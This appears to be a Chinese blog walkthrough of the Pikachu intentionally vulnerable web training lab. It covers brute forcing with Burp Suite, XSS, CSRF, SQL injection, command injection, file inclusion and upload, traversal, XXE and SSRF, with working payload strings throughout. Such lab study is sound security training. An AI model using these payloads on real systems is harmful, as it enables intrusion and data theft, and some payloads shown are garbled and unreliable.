pikachu靶场通过教程

目录

  1. 暴力破解
  2. XSS
  3. CSRF
  4. SQL注入
  5. RCE
  6. 文件包含
  7. 不安全的文件下载
  8. 不安全的文件上传
  9. 越权
  10. 目录遍历
  11. 敏感信息泄露
  12. PHP反序列化
  13. XXE
  14. URL重定向
  15. SSRF
  • 暴力破解 

暴力破解简单概述 

pikachu靶场通过教程_第1张图片

点开基于表单的暴力破解,像我们日常登录的用户密码

pikachu靶场通过教程_第2张图片

我们简单输入admin,admin,错误提示

pikachu靶场通过教程_第3张图片

输入admin,123456,成功提示

pikachu靶场通过教程_第4张图片

然后我们用工具,burpsuite进行爆破,先设置代理

pikachu靶场通过教程_第5张图片

pikachu靶场通过教程_第6张图片

设置为手动代理,填上127.0.0.1(这是本地IP),端口8080(对应burpsuite的端口),点击确认

pikachu靶场通过教程_第7张图片

打开工具,在代理中选择拦截请求

pikachu靶场通过教程_第8张图片

在页面中填入admin,admin,然后点击Login

pikachu靶场通过教程_第9张图片

抓到POST的包了,然后右击发送给Intruder

pikachu靶场通过教程_第10张图片

然后在测试区中点击位置,在右边点击清除,然后选中username中的admin和password中的admin(即是我们要爆破的账号密码),攻击类型选择最后一个

pikachu靶场通过教程_第11张图片

pikachu靶场通过教程_第12张图片

在本地添加两个文件username.txt和password.txt相对应用户名和密码(里面要有对的账号和对的密码才能爆破成功)pikachu靶场通过教程_第13张图片

把账号和密码加载进去

pikachu靶场通过教程_第14张图片

在桌面中的username.txt

pikachu靶场通过教程_第15张图片

然后加载password.txt

pikachu靶场通过教程_第16张图片

pikachu靶场通过教程_第17张图片

最后在选项中右边选择开始攻击

看到结果了,长度唯一的就是正确的账号和密码,然后把爆破成功的账号密码登录进去就可以了

pikachu靶场通过教程_第18张图片

OK接着我们点开下一题,验证码绕过,加了个验证码嘛

pikachu靶场通过教程_第19张图片

和之前一样浏览器加上代理,burpsuite拦截请求,这次不是发送给测试器了,发给Repeater(重发器)

pikachu靶场通过教程_第20张图片

来到重发器,点击发送

pikachu靶场通过教程_第21张图片

把响应这边的拖动条拖到最后,可以看到用户名或密码错误,再发送一次同意是账号密码错误,接着我们把验证码修改了发送就可以看到验证码错误了

pikachu靶场通过教程_第22张图片pikachu靶场通过教程_第23张图片

这说明是验证码无条件不刷新,无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。

接着我们回到代理这里,然后把内容发送测试器,像之前一样,在测试器里面把全部清楚了,再把账号密码处添加上,攻击类型第四个,把账号密码的文本加载进去,最后攻击。

pikachu靶场通过教程_第24张图片

pikachu靶场通过教程_第25张图片

长度唯一的就你了

 

下一关

弹框,那就是javascript验证验证码了,burpsuite轻松绕过,抓包->爆破>登录即可

pikachu靶场通过教程_第26张图片

Next  token防爆破

pikachu靶场通过教程_第27张图片

 

第一步还是抓取一个请求包,

pikachu靶场通过教程_第28张图片

此处多出了一个token变量选项 token变量如何来的?多半和返回包有关

pikachu靶场通过教程_第29张图片

通过对返回包的分析,我们发现token由返回包确定,显然了,每次我们登陆,token的值肯定会变化,token值错误无法验证账号密码的正确性,需要我们每一次发送请求包都要拿到上一个返回包的token值放在token包里面

那我们要怎么做到呢?把包发送到测试器中,选择第三个选项

pikachu靶场通过教程_第30张图片

线程设置为1(只有获取上一个请求返回的token值才能,做下一次请求,无法并发)

选项中的线程数为1

pikachu靶场通过教程_第31张图片

在选项下面的Grep Extract点添加,获得回复,选中token的值复制然后确认

pikachu靶场通过教程_第32张图片

最下面选中总是

pikachu靶场通过教程_第33张图片

在有效载荷中选择递归搜索,然后把值放在第一个请求的初始有效负载

加载字典后攻击

唯一的长度没错了

pikachu靶场通过教程_第34张图片

pikachu靶场通过教程_第35张图片

 

  • XSS章

第一关

 

pikachu靶场通过教程_第36张图片

好像限制了能输入的长度,提交一下

pikachu靶场通过教程_第37张图片

我们输入的好像在上面啊,上面就不会限制了吧,上面修改下

pikachu靶场通过教程_第38张图片

成功

pikachu靶场通过教程_第39张图片

next

pikachu靶场通过教程_第40张图片

登录框不能弄出xss,登录进去有个登录框,直接打出xss代码,成功

pikachu靶场通过教程_第41张图片

pikachu靶场通过教程_第42张图片

next

留言框,直接上xss代码,刷新一下就能弹出来了。这里为什么要刷新呢,因为存储型xss是保存在数据库里的,刷新之后,留言列表从数据库提取出xss数据所以会弹框,存的好会一直弹出来

pikachu靶场通过教程_第43张图片

pikachu靶场通过教程_第44张图片

next

DOM型xss

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式

pikachu靶场通过教程_第45张图片

点击试试

好像不行

pikachu靶场通过教程_第46张图片

右击审查元素看看

pikachu靶场通过教程_第47张图片

pikachu靶场通过教程_第48张图片

我们要做的事被做成超链接了,我们把他闭合下,构成domxss。

onclick 事件会在对象被点击时发生,然后弹出我们的xss

pikachu靶场通过教程_第49张图片

Next

pikachu靶场通过教程_第50张图片

我们还是看看审查元素

pikachu靶场通过教程_第51张图片

我们输入的参数哪去了,点进去看看

又看见一超链接,审查元素看看,我们输入的参数跑这里去了,咋一看和上次还是差不多

直接闭合,然后点击它,成功

pikachu靶场通过教程_第52张图片

Next

XSS盲打简单来说,盲打就是在一切可能的地方尽可能多的提交xss语句,然后看哪一条会被执行,就能获取管理员的cooike,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,反馈啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打

pikachu靶场通过教程_第53张图片

提交上去好像没回显

估计是上传到后台去了,看看小贴士

登录进去看看有没有我们刚刚提交的xss代码

pikachu靶场通过教程_第54张图片

pikachu靶场通过教程_第55张图片

有了

 

Next

pikachu靶场通过教程_第56张图片

XSS绕过

大小写,比如:

拼凑:pt>alert(/xss/)pt>

 

Next

pikachu靶场通过教程_第57张图片

htmlspecialchars会过滤一些字符

pikachu靶场通过教程_第58张图片

输入了’”<>后审查元素发现它过滤掉了

pikachu靶场通过教程_第59张图片

输入'οnclick='alert(/xss/)'

结果当然是成功弹出窗口,我们可以得知,确实他使用了htmlspecialchars()函数对输入进行了转义,但是他使用的是默认方法,并没有转义单引号,仍然成功弹出

Next

我们还是按常理输出,然后点击查看查看元素发现,这次的输出是在href中,但是这次代码将双引号进行了过滤,是不是这样不能执行xss代码了呢,当然不是,输出在a标签里的href属性,可以使用js协议来执行js

pikachu靶场通过教程_第60张图片

我们输入javascript:alert(/xss/),可以看到没有任何过滤,成功弹窗

pikachu靶场通过教程_第61张图片

Next

pikachu靶场通过教程_第62张图片

查看发现,他将我们输入的字符存到了js代码里面然后进行判断,我们可以根据代码写一个闭合'

成功

 

  • CSRF章

 

开始了

首先我们在提示里面拿到账号密码,登录进去,修改个人信息,简单修改下信息,然后提交、

pikachu靶场通过教程_第63张图片

pikachu靶场通过教程_第64张图片

pikachu靶场通过教程_第65张图片

然后浏览器上代理,用burpsuite抓包

pikachu靶场通过教程_第66张图片

从提交的请求来看,后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,修改一下,然后让vince点击就好,我们构造的URL中把地址add改为cn。kevin一点击就修改了地址。

/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545459&add=china&email=vince%40pikachu.cn&submit=submit

我们直接把这段代码复制在url中,确认一下,即可修改掉信息

pikachu靶场通过教程_第67张图片

Next

pikachu靶场通过教程_第68张图片

如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击

攻击者可以搭建一个站点,在站点上做一个表单,诱导vince点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。

编写一个post.html页面,代码如下所示,本文把此页面放到 的pikachu-master\vul\csrf\csrfpost下,然后启动 apache 服务

代码如下:











诱导用户点击网址,完成修改

www.tests.com/vul/csrf/csrfpost/post.html

完成修改

pikachu靶场通过教程_第69张图片

Next

pikachu靶场通过教程_第70张图片

CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造,每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证我们进入Pikachu平台的CSRF(token)页面并登录,我们可以看一下这个GET请求。

跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了,对于token,暂时还没有什么办法通过
所以,使用token是一个很好的防御CSRF攻击的方法。

 

  • SQL注入章

pikachu靶场通过教程_第71张图片

直接开始

查询1,burpshuite抓包,把包发送到重放器里面

pikachu靶场通过教程_第72张图片

抓到包在id那里输入or 1=1# 能不能遍历

在右边单击render,然后再打开

pikachu靶场通过教程_第73张图片

可以看到都遍历出来了,说明有SQL注入

 

Next

 

从username判断,带入数据库查询的是字符串,构造语句为kobe' or 1=1#

pikachu靶场通过教程_第74张图片

遍历成功

 

Next

和上面的差别不大,这是用MYSQL的like模糊查询

pikachu靶场通过教程_第75张图片

Next

查询语句多了个括号嘛

管它的什么型,能够制造出闭合,就是本事,hh

pikachu靶场通过教程_第76张图片

Next

首先注册个账号,注册那里可能有漏洞

pikachu靶场通过教程_第77张图片

pikachu靶场通过教程_第78张图片

我们知道insert就是在数据库中添加数据

那么我们注册一个账号,是不是就是在数据库中添加了你的账号数据,那么我们可以在注册页面插入我们的注入语句,我们猜测后台的mysql语句应该是,insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)。那我们可以在xxx的位置构造我们的注入语句xxx' or updatexml(1,concat(0x7e,database()),0) or '

这是语句是错误爆出数据库名称

可以看到数据库名称是pikachu。

Next

 

既然是delete注入,那肯定是在删除这里

我们先简单留言下

打开burpsuite然后点击删除,抓到包后发送到重发器然后在56后面加上我们的语句

+or+updatexml(1,comcat(0x7e,database()),0)因为这里传的是数值型,我们就不用单引号闭合,直接or就行了,这样就完成了我们的注入

pikachu靶场通过教程_第79张图片

Next

登录进去后发现有些信息被插进数据库后查询出来了,也就是有注入了

pikachu靶场通过教程_第80张图片

有些时候,后台开发人员为了验证客户端头信息,比如常用的cookie验证,或者通过http请求头信息获取客户端的一些信息,比如useragent、accept字段等等,会对客户端的http请求头信息获取并使用sql进行处理,如果此时没有足够的安全考虑,则可能会导致基于http头的sql注入漏洞

首先抓包,然后发送到重发器

把 User-Agent 改为一个单引号,发包看看后台处理的结果,发现直接报了 SQL 语法错误

再把User-Agent后面跟上构造好的语句,爆出数据库

Next

用burp抓包,放在重发器

kobe' and ascii(substr(database(),1,1))=112#

pikachu靶场通过教程_第81张图片

即可爆出数据库

 

Next

时间盲注

时间盲注主要使用if语句,通过延迟信息进行判断,不看回显信息

pikachu靶场通过教程_第82张图片

右击审查元素

然后点击网络,再从上面提交上去,可以看到时间执行了5.12秒,说明有盲注

kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#

构造了另一条代码

此时1ms就返回结果,说明数据库名第一位不是a
将a改为p,则一直不返回结果
说明数据库名第一位不是a

 

Next

首先打开页面抓包,发送到重发器那里

pikachu靶场通过教程_第83张图片

把name的值修改成1%df' or 1=1#,点击发送然后在render中看到成功了

pikachu靶场通过教程_第84张图片

  • RCE 

 pikachu靶场通过教程_第85张图片

第一关

正常是ping127.0.0.1的,我们后面加上&whoami就执行whoami命令了

Next

pikachu靶场通过教程_第86张图片

eval函数危害性大,可以直接获取webshell

  • 文件包含

pikachu靶场通过教程_第87张图片

 

第一关,先随便点一个提交,可以看到url中的filename估计就是包含文件,我们修改下

pikachu靶场通过教程_第88张图片

我们在include文件中创建出1.txt文件

pikachu靶场通过教程_第89张图片

pikachu靶场通过教程_第90张图片

Next

这里要开启allow_url_include,在php.ini中设置成ON,然后重启一下服务器

pikachu靶场通过教程_第91张图片

我们还是随便点一个提交,然后看到filename应该就是你了,修改成http://www.test.com/2.txt

pikachu靶场通过教程_第92张图片

然后在另一个网站上创建好2.txt文件

pikachu靶场通过教程_第93张图片

访问成功

 

  • 不安全的文件下载

随便点开一个可以发现下载文件

浏览器上代理,打开burpsuite进行抓包,把filename修改成../down_nba.php,放包

pikachu靶场通过教程_第94张图片

下载完成后可以看其代码

../down_nba.php也就是上级目录下的down_nba.php文件

pikachu靶场通过教程_第95张图片

 

  • 不安全的文件上传

pikachu靶场通过教程_第96张图片

开始

直接上传php文件,然后被弹窗了,看的出来是javascript限制pikachu靶场通过教程_第97张图片

审查元素,把onchange去掉,上传成功

pikachu靶场通过教程_第98张图片

Next

pikachu靶场通过教程_第99张图片

没有弹框了,应该是后台验证

上工具,代理、burpsuite、抓包,把Content-Type修改成image/jpg

既然它要图片的MIME类型,我们就给他

pikachu靶场通过教程_第100张图片

然后放包

pikachu靶场通过教程_第101张图片

成功

 

Next

Getimagesize返回文件大小和文件类型的,我们可以直接上传jpg文件

pikachu靶场通过教程_第102张图片

抓包,添加上代码,也就是在上传文件中添加上代码

pikachu靶场通过教程_第103张图片

返回文件,然后在之前的包含漏洞中跨目录把它包含进去就成功了

  • 越权

水行越权:A用户和B用户属于同一级别用户,但各自不能操作对方个人信息。A用户如果越权操作B用户个人信息的情况称为水行越权操作。

直接开始吧

在小贴士中找到了一些账号和密码,我们登录进去

点击查看个人信息,可以看到url中有个username,如果有水平越权漏洞就可以查看到别人的信息了,试试修改成lili

pikachu靶场通过教程_第104张图片

可以看到成功了

pikachu靶场通过教程_第105张图片

Next

垂直越权:A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权。、

小贴士中看到了两个账号,一个是管理员账号一个是普通用户账号,登录进去可以看到

管理员还可以看到添加用户

pikachu靶场通过教程_第106张图片

pikachu靶场通过教程_第107张图片

这里我们要实现普通用户添加用户,也就是垂直越权

打开burpsuite抓包,把普通用户的cookie复制下来

pikachu靶场通过教程_第108张图片

再从管理员中添加一个账号,抓包

发送到重放器,接着我们把普通用户的cookie粘贴进去,发送

pikachu靶场通过教程_第109张图片

可以看到已经成功添加了xxxxxxx用户了

pikachu靶场通过教程_第110张图片

  • 目录遍历

点击去看一下有个title,估计这就是目录遍历值了,修改成../dir.php上级目录下的dir.php

pikachu靶场通过教程_第111张图片

pikachu靶场通过教程_第112张图片

成功

 

  • 敏感信息泄露

首先查看源代码,可以发现测试账号密码是可以直接登录进去的

pikachu靶场通过教程_第113张图片

pikachu靶场通过教程_第114张图片

直接在上面输入abc.php也可以直接进去

pikachu靶场通过教程_第115张图片

 

 

  • PHP反序列化

pikachu靶场通过教程_第116张图片

pikachu靶场通过教程_第117张图片

看一下页面,接受反序列化,打开源码文件看看它反序列化什么

也就是把我们传进去的东西进行序列化

pikachu靶场通过教程_第118张图片

我们先在本地直接搭建一个序列化的内容,在浏览器访问它

pikachu靶场通过教程_第119张图片

pikachu靶场通过教程_第120张图片

查看当前页面的源代码,可以看到我们构造好的代码复制,再把它放进我们的题目中即可

pikachu靶场通过教程_第121张图片

成功

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{

    var $test = "";

}

$a = new S();

echo serialize($a);

?>    

序列化后得到的结果是这个样子的O:1:"S":1:{s:4:"test";s:29:"";}

 

        O:代表object

        1:代表对象名字长度为一个字符

        S:对象的名称

        1:代表对象里面有一个变量

        s:数据类型

        4:变量名称的长度

        test:变量名称

        s:数据类型

        7:变量值的长度

        :变量值

  • XXE

pikachu靶场通过教程_第122张图片

第一关

Xxe既"xml外部实体注入漏洞"。

它是接收xml数据的接口,那我们先了解下xml是什么

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储

第一部分:XML声明部分

第二部分:文档类型定义 DTD

第三部分:文档元素

我们提交代码为

]> &hacker;

当然也可以这样,也就是用base64加密打开文件,然后解密即可看到文件里面的内容

]> &f;

pikachu靶场通过教程_第123张图片

 

  • URL重定向

pikachu靶场通过教程_第124张图片

看到有一些超链接,我们都点一遍可以发现,最后一个好像有个url的值,我们修改成https://www.baidu.com/,可以发现它跳转成https://www.baidu.com/页面了

pikachu靶场通过教程_第125张图片

pikachu靶场通过教程_第126张图片

 

  • SSRF

pikachu靶场通过教程_第127张图片

累了来一首吧,假如生活欺骗了你..

pikachu靶场通过教程_第128张图片

看到这个url没有,估计就是这个url导致的跳转,我们输入https://www.baidu.com可以发现百度过来了

pikachu靶场通过教程_第129张图片

pikachu靶场通过教程_第130张图片

看看源码,它是获取我们的url然后进行curl操作,中间没有任何的过滤,导致的

Next

我们把file修改成

php://filter/read=convert.base64-encode/resource=http://www.tests.com/vul/ssrf/ssrf_info/info2.php可以看到成功把http://www.tests.com/vul/ssrf/ssrf_info/info2.php的info2.php文件用base64包含进来了,接下来我们把这段加密代码拿去解密即可,当然是可以任意文件读取,修改下地址即可

pikachu靶场通过教程_第131张图片

pikachu靶场通过教程_第132张图片

成功过关

你可能感兴趣的:(pikachu靶场通过教程)